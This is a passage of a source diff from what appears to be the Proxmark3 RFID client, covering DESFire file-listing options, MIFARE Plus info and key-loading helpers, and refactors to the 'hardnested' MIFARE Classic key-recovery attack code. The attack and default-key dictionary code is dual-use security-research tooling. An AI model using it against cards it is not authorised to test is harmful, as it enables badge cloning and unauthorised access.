needs to be provided or flag --no-auth set (depend on cards settings).", "hf mfdes lsfiles --aid 123456 -> AID 123456, list files using `default` command creds\n" - "hf mfdes lsfiles --isoid df01 --no-auth -> list files for DESFire light"); + "hf mfdes lsfiles --isoid df01 --no-auth -> list files for DESFire light\n" + "hf mfdes lsfiles --dfname D2760000850100 -> select DF by name and list files"); void *argtable[] = { arg_param_begin, @@ -5531,6 +5612,7 @@ static int CmdHF14ADesLsFiles(const char *Cmd) { arg_str0(NULL, "schann", "", "Secure channel"), arg_str0(NULL, "aid", "", "Application ID (3 hex bytes, big endian)"), arg_str0(NULL, "isoid", "", "Application ISO ID (ISO DF ID) (2 hex bytes, big endian)"), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (5-16 hex bytes, big endian)"), arg_lit0(NULL, "no-auth", "Execute without authentication"), arg_param_end }; @@ -5538,13 +5620,13 @@ static int CmdHF14ADesLsFiles(const char *Cmd) { bool APDULogging = arg_get_lit(ctx, 1); bool verbose = arg_get_lit(ctx, 2); - bool noauth = arg_get_lit(ctx, 13); + bool noauth = arg_get_lit(ctx, 14); DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMMACed, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, &securechann, DCMMACed, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -5570,9 +5652,9 @@ static int CmdHF14ADesLsFiles(const char *Cmd) { } if (filescount == 0) { - PrintAndLogEx(INFO, "There is no files in the %s", DesfireWayIDStr(selectway, id)); + PrintAndLogEx(INFO, "There are no files in the %s", DesfireWayIDStr(selectway, id)); DropField(); - return res; + return PM3_SUCCESS; } PrintAndLogEx(INFO, "------------------------------------------ " _CYAN_("File list") " -----------------------------------------------------"); @@ -5588,7 +5670,8 @@ static int CmdHF14ADesLsApp(const char *Cmd) { CLIParserInit(&ctx, "hf mfdes lsapp", "Show application list. Master key needs to be provided or flag --no-auth set (depend on cards settings).", "hf mfdes lsapp -> show application list with defaults from `default` command\n" - "hf mfdes lsapp --files -> show application list and show each file type/settings/etc"); + "hf mfdes lsapp --files -> show application list and show each file type/settings/etc\n" + "hf mfdes lsapp --dfname D2760000850100 -> list apps after selecting DF by name"); void *argtable[] = { arg_param_begin, @@ -5605,6 +5688,7 @@ static int CmdHF14ADesLsApp(const char *Cmd) { arg_lit0(NULL, "no-auth", "Execute without authentication"), arg_lit0(NULL, "no-deep", "not to check authentication commands that avail for any application"), arg_lit0(NULL, "files", "scan files and print file settings"), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (5-16 hex bytes, big endian)"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -5617,7 +5701,7 @@ static int CmdHF14ADesLsApp(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 0, 0, &securechann, (noauth) ? DCMPlain : DCMMACed, NULL, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 0, 0, 14, &securechann, (noauth) ? DCMPlain : DCMMACed, NULL, NULL); if (res) { CLIParserFree(ctx); return res; @@ -5626,7 +5710,7 @@ static int CmdHF14ADesLsApp(const char *Cmd) { SetAPDULogging(APDULogging); CLIParserFree(ctx); - PrintAndLogEx(INPLACE, _YELLOW_("It may take up to 15 seconds. Processing....")); + PrintAndLogEx(INFO, "It may take up to " _YELLOW_("15") " seconds. Processing..."); res = DesfireSelectAndAuthenticateEx(&dctx, securechann, 0x000000, noauth, verbose); if (res != PM3_SUCCESS) { @@ -5638,7 +5722,6 @@ static int CmdHF14ADesLsApp(const char *Cmd) { AppListS AppList = {{0}}; DesfireFillAppList(&dctx, &PICCInfo, AppList, !nodeep, scanfiles, true); - printf("\33[2K\r"); // clear current line before printing PrintAndLogEx(NORMAL, ""); // print zone @@ -5670,6 +5753,7 @@ static int CmdHF14ADesDump(const char *Cmd) { arg_str0(NULL, "schann", "", "Secure channel"), arg_str0(NULL, "aid", "", "Application ID (3 hex bytes, big endian)"), arg_str0(NULL, "isoid", "", "Application ISO ID (ISO DF ID) (2 hex bytes, big endian)"), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (5-16 hex bytes, big endian)"), arg_str0("l", "length", "", "Maximum length for read data files (3 hex bytes, big endian)"), arg_lit0(NULL, "no-auth", "Execute without authentication"), arg_param_end @@ -5678,20 +5762,20 @@ static int CmdHF14ADesDump(const char *Cmd) { bool APDULogging = arg_get_lit(ctx, 1); bool verbose = arg_get_lit(ctx, 2); - bool noauth = arg_get_lit(ctx, 14); + bool noauth = arg_get_lit(ctx, 15); DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, (noauth) ? DCMPlain : DCMMACed, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, &securechann, (noauth) ? DCMPlain : DCMMACed, &id, &selectway); if (res) { CLIParserFree(ctx); return res; } uint32_t maxlength = 0; - if (CLIGetUint32Hex(ctx, 13, 0, &maxlength, NULL, 3, "Length parameter must have 3 byte length")) { + if (CLIGetUint32Hex(ctx, 14, 0, &maxlength, NULL, 3, "Length parameter must have 3 byte length")) { CLIParserFree(ctx); return PM3_EINVARG; } @@ -5802,6 +5886,7 @@ static command_t CommandTable[] = { {"-----------", CmdHelp, IfPm3Iso14443a, "----------------------- " _CYAN_("Files") " -----------------------"}, {"getfileids", CmdHF14ADesGetFileIDs, IfPm3Iso14443a, "Get File IDs list"}, {"getfileisoids", CmdHF14ADesGetFileISOIDs, IfPm3Iso14443a, "Get File ISO IDs list"}, + {"lsfile", CmdHF14ADesLsFiles, IfPm3Iso14443a, "Show all files list"}, {"lsfiles", CmdHF14ADesLsFiles, IfPm3Iso14443a, "Show all files list"}, {"dump", CmdHF14ADesDump, IfPm3Iso14443a, "Dump all files"}, {"createfile", CmdHF14ADesCreateFile, IfPm3Iso14443a, "Create Standard/Backup File"}, diff --git a/client/src/cmdhfmfdes.h b/client/src/cmdhfmfdes.h index 80b3e8c93..0eddcf6cf 100644 --- a/client/src/cmdhfmfdes.h +++ b/client/src/cmdhfmfdes.h @@ -20,6 +20,44 @@ #include "common.h" +// Ev1 card limits +#define MAX_NUM_KEYS 0x0F +#define MAX_APPLICATION_COUNT 28 +#define MAX_FILE_COUNT 32 +#define MAX_FRAME_SIZE 60 +#define FRAME_PAYLOAD_SIZE (MAX_FRAME_SIZE - 5) + +// Ev2 card limits +// Ev3 card limits +// Light card limits +// Light Ev1 card limits + +#define NOT_YET_AUTHENTICATED 0xFF + +typedef enum { + NXP_UNKNOWN = 0, + DESFIRE_MF3ICD40, + DESFIRE_EV1, + DESFIRE_EV2, + DESFIRE_EV2_XL, + DESFIRE_EV3, + DESFIRE_LIGHT, + PLUS_EV1, + PLUS_EV2, + NTAG413DNA, + NTAG424, + DUOX, +} nxp_cardtype_t; + +typedef struct { + uint8_t isOK; + uint8_t uid[7]; + uint8_t uidlen; + uint8_t versionHW[7]; + uint8_t versionSW[7]; + uint8_t details[14]; +} PACKED mfdes_info_res_t; + int CmdHFMFDes(const char *Cmd); /* @@ -29,24 +67,7 @@ int getKeySettings(uint8_t *aid); */ int desfire_print_signature(uint8_t *uid, uint8_t uidlen, uint8_t *signature, size_t signature_len); - -// Ev1 card limits -#define MAX_NUM_KEYS 0x0F -#define MAX_APPLICATION_COUNT 28 -#define MAX_FILE_COUNT 32 -#define MAX_FRAME_SIZE 60 -#define FRAME_PAYLOAD_SIZE (MAX_FRAME_SIZE - 5) - -// Ev2 card limits - -// Ev3 card limits - -// Light card limits - -// Light Ev1 card limits - -#define NOT_YET_AUTHENTICATED 0xFF - - +nxp_cardtype_t getCardType(uint8_t type, uint8_t major, uint8_t minor); +int mfdes_get_info(mfdes_info_res_t *info); #endif diff --git a/client/src/cmdhfmfhard.c b/client/src/cmdhfmfhard.c index 78971eb01..885162437 100644 --- a/client/src/cmdhfmfhard.c +++ b/client/src/cmdhfmfhard.c @@ -127,7 +127,6 @@ static void print_progress_header(void) { get_SIMD_instruction_set(instr_set); snprintf(progress_text, sizeof(progress_text), "Start using " _YELLOW_("%d") " threads and " _YELLOW_("%s") " SIMD core", num_CPUs(), instr_set); - PrintAndLogEx(INFO, "Hardnested attack starting..."); PrintAndLogEx(INFO, "---------+---------+---------------------------------------------------------+-----------------+-------"); PrintAndLogEx(INFO, " | | | Expected to brute force"); PrintAndLogEx(INFO, " Time | #nonces | Activity | #states | time "); @@ -136,12 +135,16 @@ static void print_progress_header(void) { } void hardnested_print_progress(uint32_t nonces, const char *activity, float brute_force, uint64_t min_diff_print_time) { + static uint64_t last_print_time = 0; + if (msclock() - last_print_time >= min_diff_print_time) { + last_print_time = msclock(); uint64_t total_time = msclock() - start_time; float brute_force_time = brute_force / brute_force_per_second; char brute_force_time_string[20]; + if (brute_force_time < 90) { snprintf(brute_force_time_string, sizeof(brute_force_time_string), "%2.0fs", brute_force_time); } else if (brute_force_time < 60 * 90) { @@ -151,7 +154,24 @@ void hardnested_print_progress(uint32_t nonces, const char *activity, float brut } else { snprintf(brute_force_time_string, sizeof(brute_force_time_string), "%2.0fd", brute_force_time / (60 * 60 * 24)); } - PrintAndLogEx(INFO, " %7.0f | %7u | %-55s | %15.0f | %5s", (float)total_time / 1000.0, nonces, activity, brute_force, brute_force_time_string); + + if (strlen(activity) > 67) { + PrintAndLogEx(INFO, " %7.0f | %7u | %-82s | %15.0f | %5s" + , (float)total_time / 1000.0 + , nonces + , activity + , brute_force + , brute_force_time_string + ); + } else { + PrintAndLogEx(INFO, " %7.0f | %7u | %-55s | %15.0f | %5s" + , (float)total_time / 1000.0 + , nonces + , activity + , brute_force + , brute_force_time_string + ); + } } } @@ -260,7 +280,7 @@ static void init_bitflip_bitarrays(void) { #endif uint64_t init_bitflip_bitarrays_starttime = msclock(); - char state_file_name[MAX(strlen(STATE_FILE_TEMPLATE_RAW), MAX(strlen(STATE_FILE_TEMPLATE_LZ4), strlen(STATE_FILE_TEMPLATE_BZ2))) + 1]; + char state_file_name[MAX(sizeof(STATE_FILE_TEMPLATE_RAW), MAX(sizeof(STATE_FILE_TEMPLATE_LZ4), sizeof(STATE_FILE_TEMPLATE_BZ2)))]; char state_files_path[strlen(get_my_executable_directory()) + strlen(STATE_FILES_DIRECTORY) + sizeof(state_file_name)]; uint16_t nraw = 0, nlz4 = 0, nbz2 = 0; for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { @@ -486,8 +506,14 @@ static void init_bitflip_bitarrays(void) { effective_bitflip[odd_even][num_effective_bitflips[odd_even]] = 0x400; // EndOfList marker } { - char progress_text[80]; - snprintf(progress_text, sizeof(progress_text), "Loaded %u RAW / %u LZ4 / %u BZ2 in %"PRIu64" ms", nraw, nlz4, nbz2, msclock() - init_bitflip_bitarrays_starttime); + char progress_text[100]; + memset(progress_text, 0, sizeof(progress_text)); + snprintf(progress_text, sizeof(progress_text), "Loaded " _YELLOW_("%u") " RAW / " _YELLOW_("%u") " LZ4 / " _YELLOW_("%u") " BZ2 in %4"PRIu64" ms" + , nraw + , nlz4 + , nbz2 + , msclock() - init_bitflip_bitarrays_starttime + ); hardnested_print_progress(0, progress_text, (float)(1LL << 47), 0); } uint16_t i = 0; @@ -708,12 +734,22 @@ static int add_nonce(uint32_t nonce_enc, uint8_t par_enc) { } else { // add new entry at end of existing list. p2 = p2->next = calloc(1, sizeof(noncelistentry_t)); } + + if (p2 == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + } + } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert. if (p2 == NULL) { // need to insert at start of list p2 = nonces[first_byte].first = calloc(1, sizeof(noncelistentry_t)); } else { p2 = p2->next = calloc(1, sizeof(noncelistentry_t)); } + + if (p2 == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + } + } else { // we have seen this 2nd byte before. Nothing to add or insert. return (0); } @@ -1565,18 +1601,8 @@ static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_ FILE *fnonces = NULL; // init to ZERO - PacketResponseNG resp = { - .cmd = 0, - .length = 0, - .magic = 0, - .status = 0, - .crc = 0, - .ng = false, - }; - resp.oldarg[0] = 0; - resp.oldarg[1] = 0; - resp.oldarg[2] = 0; - memset(resp.data.asBytes, 0, PM3_CMD_DATA_SIZE); + PacketResponseNG resp; + memset(&resp, 0, sizeof(resp)); uint8_t write_buf[9]; char progress_text[80]; @@ -2481,8 +2507,10 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc free_candidates_memory(candidates); candidates = NULL; } else { + pre_XOR_nonces(); prepare_bf_test_nonces(nonces, best_first_bytes[0]); + for (uint8_t j = 0; j < NUM_SUMS && !key_found; j++) { float expected_brute_force = nonces[best_first_bytes[0]].expected_num_brute_force; snprintf(progress_text, sizeof(progress_text), "(%d. guess: Sum(a8) = %" PRIu16 ")", j + 1, sums[nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx]); @@ -2544,7 +2572,9 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc int res; if (nonce_file_read) { // use pre-acquired data from file nonces.bin + res = read_nonce_file(filename); + if (res != PM3_SUCCESS) { free_bitflip_bitarrays(); free_nonces_memory(); @@ -2554,12 +2584,16 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc free_part_sum_bitarrays(); return res; } + hardnested_stage = CHECK_1ST_BYTES | CHECK_2ND_BYTES; update_nonce_data(false); float brute_force_depth; shrink_key_space(&brute_force_depth); + } else { // acquire nonces. + res = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow, filename); + if (res != PM3_SUCCESS) { free_bitflip_bitarrays(); free_nonces_memory(); diff --git a/client/src/cmdhfmfp.c b/client/src/cmdhfmfp.c index 11f1ce899..6433bcf2e 100644 --- a/client/src/cmdhfmfp.c +++ b/client/src/cmdhfmfp.c @@ -17,6 +17,7 @@ //----------------------------------------------------------------------------- #include "cmdhfmfp.h" +#include "cmdhfmfdes.h" #include #include "cmdparser.h" // command_t #include "commonutil.h" // ARRAYLEN @@ -35,11 +36,13 @@ #include "crypto/libpcrypto.h" #include "cmdhfmf.h" // printblock, header #include "cmdtrace.h" +#include "crypto/originality.h" static const uint8_t mfp_default_key[16] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; static uint16_t mfp_card_adresses[] = {0x9000, 0x9001, 0x9002, 0x9003, 0x9004, 0x9006, 0x9007, 0xA000, 0xA001, 0xA080, 0xA081, 0xC000, 0xC001}; #define MFP_KEY_FILE_SIZE 14 + (2 * 64 * (AES_KEY_LEN + 1)) +#define MFP_CHK_KEY_TRIES (2) static int CmdHelp(const char *Cmd); @@ -140,105 +143,10 @@ static char *getTypeStr(uint8_t type) { return buf; } -static nxp_cardtype_t getCardType(uint8_t type, uint8_t major, uint8_t minor) { - - // DESFire MF3ICD40 - if (type == 0x01 && major == 0x00 && minor == 0x02) - return DESFIRE_MF3ICD40; - - // DESFire EV1 - if (type == 0x01 && major == 0x01 && minor == 0x00) - return DESFIRE_EV1; - - // DESFire EV2 - if (type == 0x01 && major == 0x12 && minor == 0x00) - return DESFIRE_EV2; - - if (type == 0x01 && major == 0x22 && minor == 0x00) - return DESFIRE_EV2_XL; - - // DESFire EV3 - if (type == 0x01 && major == 0x33 && minor == 0x00) - return DESFIRE_EV3; - - // DESFire Light - if (type == 0x08 && major == 0x30 && minor == 0x00) - return DESFIRE_LIGHT; - - // combo card DESFire / EMV - if (type == 0x81 && major == 0x42 && minor == 0x00) - return DESFIRE_EV2; - - // Plus EV1 - if (type == 0x02 && major == 0x11 && minor == 0x00) - return PLUS_EV1; - - // Plus Ev2 - if (type == 0x02 && major == 0x22 && minor == 0x00) - return PLUS_EV2; - - // NTAG 413 DNA - if (type == 0x04 && major == 0x10 && minor == 0x00) - return NTAG413DNA; - - // NTAG 424 - if (type == 0x04 && major == 0x30 && minor == 0x00) - return NTAG424; - - return MFP_UNKNOWN; -} - // --- GET SIGNATURE static int plus_print_signature(uint8_t *uid, uint8_t uidlen, uint8_t *signature, int signature_len) { - - // ref: MIFARE Plus EV1 Originality Signature Validation -#define PUBLIC_PLUS_ECDA_KEYLEN 57 - const ecdsa_publickey_t nxp_plus_public_keys[] = { - {"MIFARE Plus EV1", "044409ADC42F91A8394066BA83D872FB1D16803734E911170412DDF8BAD1A4DADFD0416291AFE1C748253925DA39A5F39A1C557FFACD34C62E"}, - {"MIFARE Plus Ev2", "04BB49AE4447E6B1B6D21C098C1538B594A11A4A1DBF3D5E673DEACDEB3CC512D1C08AFA1A2768CE20A200BACD2DC7804CD7523A0131ABF607"}, - {"MIFARE Plus Troika", "040F732E0EA7DF2B38F791BF89425BF7DCDF3EE4D976669E3831F324FF15751BD52AFF1782F72FF2731EEAD5F63ABE7D126E03C856FFB942AF"} - }; - - uint8_t i; - bool is_valid = false; - - for (i = 0; i < ARRAYLEN(nxp_plus_public_keys); i++) { - - int dl = 0; - uint8_t key[PUBLIC_PLUS_ECDA_KEYLEN]; - param_gethex_to_eol(nxp_plus_public_keys[i].value, 0, key, PUBLIC_PLUS_ECDA_KEYLEN, &dl); - - int res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP224R1, key, uid, uidlen, signature, signature_len, false); - is_valid = (res == 0); - if (is_valid) - break; - } - - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "--- " _CYAN_("Tag Signature")); - - if (is_valid == false || i == ARRAYLEN(nxp_plus_public_keys)) { - PrintAndLogEx(INFO, " Elliptic curve parameters: NID_secp224r1"); - PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, 16)); - PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 16, 16)); - PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 32, 16)); - PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 48, signature_len - 48)); - PrintAndLogEx(SUCCESS, " Signature verification: " _RED_("failed")); - return PM3_ESOFT; - } - - PrintAndLogEx(INFO, " IC signature public key name: " _GREEN_("%s"), nxp_plus_public_keys[i].desc); - PrintAndLogEx(INFO, "IC signature public key value: %.32s", nxp_plus_public_keys[i].value); - PrintAndLogEx(INFO, " : %.32s", nxp_plus_public_keys[i].value + 32); - PrintAndLogEx(INFO, " : %.32s", nxp_plus_public_keys[i].value + 64); - PrintAndLogEx(INFO, " : %.32s", nxp_plus_public_keys[i].value + 96); - PrintAndLogEx(INFO, " Elliptic curve parameters: NID_secp224r1"); - PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, 16)); - PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 16, 16)); - PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 32, 16)); - PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 48, signature_len - 48)); - PrintAndLogEx(SUCCESS, " Signature verification: " _GREEN_("successful")); - return PM3_SUCCESS; + int index = originality_check_verify(uid, uidlen, signature, signature_len, PK_MFP); + return originality_check_print(signature, signature_len, index); } static int get_plus_signature(uint8_t *signature, int *signature_len) { @@ -262,9 +170,15 @@ static int get_plus_signature(uint8_t *signature, int *signature_len) { // GET VERSION static int plus_print_version(uint8_t *version) { - PrintAndLogEx(SUCCESS, "UID: " _GREEN_("%s"), sprint_hex(version + 14, 7)); - PrintAndLogEx(SUCCESS, "Batch number: " _GREEN_("%s"), sprint_hex(version + 21, 5)); - PrintAndLogEx(SUCCESS, "Production date: week " _GREEN_("%02x") " / " _GREEN_("20%02x"), version[7 + 7 + 7 + 5], version[7 + 7 + 7 + 5 + 1]); + if ((version[14] == 0x00) && (version[15] == 0x04)) { + PrintAndLogEx(SUCCESS, "UID: " _GREEN_("%s"), sprint_hex(version + 16, 4)); + PrintAndLogEx(SUCCESS, "Batch number: " _GREEN_("%s"), sprint_hex(version + 20, 5)); + PrintAndLogEx(SUCCESS, "Production date: week " _GREEN_("%02x") " / " _GREEN_("20%02x"), version[7 + 7 + 6 + 5], version[7 + 7 + 7 + 4 + 1]); + } else { + PrintAndLogEx(SUCCESS, "UID: " _GREEN_("%s"), sprint_hex(version + 14, 7)); + PrintAndLogEx(SUCCESS, "Batch number: " _GREEN_("%s"), sprint_hex(version + 21, 5)); + PrintAndLogEx(SUCCESS, "Production date: week " _GREEN_("%02x") " / " _GREEN_("20%02x"), version[7 + 7 + 7 + 5], version[7 + 7 + 7 + 5 + 1]); + } PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--- " _CYAN_("Hardware Information")); PrintAndLogEx(INFO, " Raw : %s", sprint_hex(version, 7)); @@ -299,6 +213,153 @@ static int get_plus_version(uint8_t *version, int *version_len) { return retval; } +static int mfp_read_card_id(iso14a_card_select_t *card, int *nxptype) { + + if (card == NULL) { + return PM3_EINVARG; + } + + clearCommandBuffer(); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(DEBUG, "iso14443a card select failed"); + DropField(); + return PM3_ERFTRANS; + } + + memcpy(card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); + + if (nxptype) { + uint64_t select_status = resp.oldarg[0]; + + uint8_t ats_hist_pos = 0; + if ((card->ats_len > 3) && (card->ats[0] > 1)) { + ats_hist_pos = 2; + ats_hist_pos += (card->ats[1] & 0x10) == 0x10; + ats_hist_pos += (card->ats[1] & 0x20) == 0x20; + ats_hist_pos += (card->ats[1] & 0x40) == 0x40; + } + + version_hw_t version_hw = {0}; + // if 4b UID or NXP, try to get version + int res = hf14a_getversion_data(card, select_status, &version_hw); + DropField(); + + bool version_hw_available = (res == PM3_SUCCESS); + + *nxptype = detect_nxp_card(card->sak + , ((card->atqa[1] << 8) + card->atqa[0]) + , select_status + , card->ats_len - ats_hist_pos + , card->ats + ats_hist_pos + , version_hw_available + , &version_hw + ); + } + return PM3_SUCCESS; +} + +static int mfp_load_keygen_keys(uint8_t **pkeyBlock, uint32_t *pkeycnt, uint8_t *uid) { + + // Handle dymanica keys + + return PM3_SUCCESS; +} + +static int mfp_load_keys(uint8_t **pkeyBlock, uint32_t *pkeycnt, uint8_t *userkey, int userkeylen, const char *filename, int fnlen, uint8_t *uid, bool load_default) { + // Handle Keys + *pkeycnt = 0; + *pkeyBlock = NULL; + uint8_t *p; + + // Handle KDF uid based keys + if (uid) { + mfp_load_keygen_keys(pkeyBlock, pkeycnt, uid); + } + + // Handle user supplied key + // (it considers *pkeycnt and *pkeyBlock as possibly non-null so logic can be easily reordered) + if (userkeylen >= AES_KEY_LEN) { + int numKeys = userkeylen / AES_KEY_LEN; + p = realloc(*pkeyBlock, (*pkeycnt + numKeys) * AES_KEY_LEN); + if (p == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(*pkeyBlock); + return PM3_EMALLOC; + } + *pkeyBlock = p; + + memcpy(*pkeyBlock, userkey, numKeys * AES_KEY_LEN); + + for (int i = 0; i < numKeys; i++) { + PrintAndLogEx(DEBUG, _YELLOW_("%2d") " - %s", i, sprint_hex_inrow(*pkeyBlock + i * AES_KEY_LEN, AES_KEY_LEN)); + } + *pkeycnt += numKeys; + PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%d") " user keys", numKeys); + } + + if (load_default) { + // Handle default keys + p = realloc(*pkeyBlock, (*pkeycnt + g_mifare_plus_default_keys_len) * AES_KEY_LEN); + if (p == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(*pkeyBlock); + return PM3_EMALLOC; + } + *pkeyBlock = p; + + // Copy default keys to list + size_t cnt = 0; + for (cnt = 0; cnt < g_mifare_plus_default_keys_len; cnt++) { + + int len = hex_to_bytes(g_mifare_plus_default_keys[cnt], (uint8_t *)(*pkeyBlock + (*pkeycnt + cnt) * AES_KEY_LEN), AES_KEY_LEN); + + PrintAndLogEx(DEBUG, _YELLOW_("%2u") " - %s", *pkeycnt + cnt, sprint_hex_inrow(*pkeyBlock + (*pkeycnt + cnt) * AES_KEY_LEN, AES_KEY_LEN)); + if (len != AES_KEY_LEN) { + break; + } + } + *pkeycnt += cnt; + PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%zu") " hardcoded keys", cnt); + } + + // Handle user supplied dictionary file + if (fnlen > 0) { + + uint32_t loaded_numKeys = 0; + uint8_t *dict_keys = NULL; + + int res = loadFileDICTIONARY_safe(filename, (void **) &dict_keys, AES_KEY_LEN, &loaded_numKeys); + + if (res != PM3_SUCCESS || loaded_numKeys == 0 || dict_keys == NULL) { + PrintAndLogEx(FAILED, "An error occurred while loading the dictionary!"); + free(dict_keys); + free(*pkeyBlock); + return PM3_EFILE; + + } else { + + p = realloc(*pkeyBlock, (*pkeycnt + loaded_numKeys) * AES_KEY_LEN); + if (p == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(dict_keys); + free(*pkeyBlock); + return PM3_EMALLOC; + } + *pkeyBlock = p; + + memcpy(*pkeyBlock + *pkeycnt * AES_KEY_LEN, dict_keys, loaded_numKeys * AES_KEY_LEN); + + *pkeycnt += loaded_numKeys; + + free(dict_keys); + } + } + return PM3_SUCCESS; +} + + static int CmdHFMFPInfo(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf mfp info", @@ -317,22 +378,35 @@ static int CmdHFMFPInfo(const char *Cmd) { // Mifare Plus info SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); PacketResponseNG resp; - WaitForResponse(CMD_ACK, &resp); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2000) == false) { + PrintAndLogEx(DEBUG, "iso14443a card select timeout"); + DropField(); + return false; + } iso14a_card_select_t card; memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); uint64_t select_status = resp.oldarg[0]; // 0: couldn't read, 1: OK, with ATS, 2: OK, no ATS, 3: proprietary Anticollision + bool Version4BUID = false; bool supportVersion = false; bool supportSignature = false; // version check uint8_t version[30] = {0}; + uint8_t uid4b[4] = {0}; + uint8_t uid7b[7] = {0}; int version_len = sizeof(version); if (get_plus_version(version, &version_len) == PM3_SUCCESS) { plus_print_version(version); supportVersion = true; + if ((version[14] == 0x00) && (version[15] == 0x04)) { + Version4BUID = true; + memcpy(uid4b, version + 16, 4); + } else { + memcpy(uid7b, version + 14, 7); + } } else { // info about 14a part, historical bytes. infoHF14A(false, false, false); @@ -342,7 +416,15 @@ static int CmdHFMFPInfo(const char *Cmd) { uint8_t signature[56] = {0}; int signature_len = sizeof(signature); if (get_plus_signature(signature, &signature_len) == PM3_SUCCESS) { - plus_print_signature(card.uid, card.uidlen, signature, signature_len); + if (supportVersion) { + if (Version4BUID) { + plus_print_signature(uid4b, 4, signature, signature_len); + } else { + plus_print_signature(uid7b, 7, signature, signature_len); + } + } else { + plus_print_signature(card.uid, card.uidlen, signature, signature_len); + } supportSignature = true; } @@ -380,7 +462,7 @@ static int CmdHFMFPInfo(const char *Cmd) { case DESFIRE_EV2_XL: case DESFIRE_EV3: case DESFIRE_LIGHT: { - PrintAndLogEx(HINT, "Card seems to be MIFARE DESFire. Try " _YELLOW_("`hf mfdes info`")); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mfdes info") "` Card seems to be MIFARE DESFire"); PrintAndLogEx(NORMAL, ""); DropField(); return PM3_SUCCESS; @@ -594,7 +676,8 @@ static int CmdHFMFPInitPerso(const char *Cmd) { CLIParserInit(&ctx, "hf mfp initp", "Executes Write Perso command for all card's keys. Can be used in SL0 mode only.", "hf mfp initp --key 000102030405060708090a0b0c0d0e0f -> fill all the keys with key (00..0f)\n" - "hf mfp initp -vv -> fill all the keys with default key(0xff..0xff) and show all the data exchange"); + "hf mfp initp -vv -> fill all the keys with default key(0xff..0xff) and show all the data exchange" + ); void *argtable[] = { arg_param_begin, @@ -719,13 +802,14 @@ static int CmdHFMFPAuth(const char *Cmd) { CLIParserInit(&ctx, "hf mfp auth", "Executes AES authentication command for MIFARE Plus card", "hf mfp auth --ki 4000 --key 000102030405060708090a0b0c0d0e0f -> executes authentication\n" - "hf mfp auth --ki 9003 --key FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF -v -> executes authentication and shows all the system data"); + "hf mfp auth --ki 9003 --key FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF -v -> executes authentication and shows all the system data" + ); void *argtable[] = { arg_param_begin, arg_lit0("v", "verbose", "Verbose output"), arg_str1(NULL, "ki", "", "Key number, 2 hex bytes"), - arg_str1(NULL, "key", "", "Key, 16 hex bytes"), + arg_str1("k", "key", "", "Key, 16 hex bytes"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, 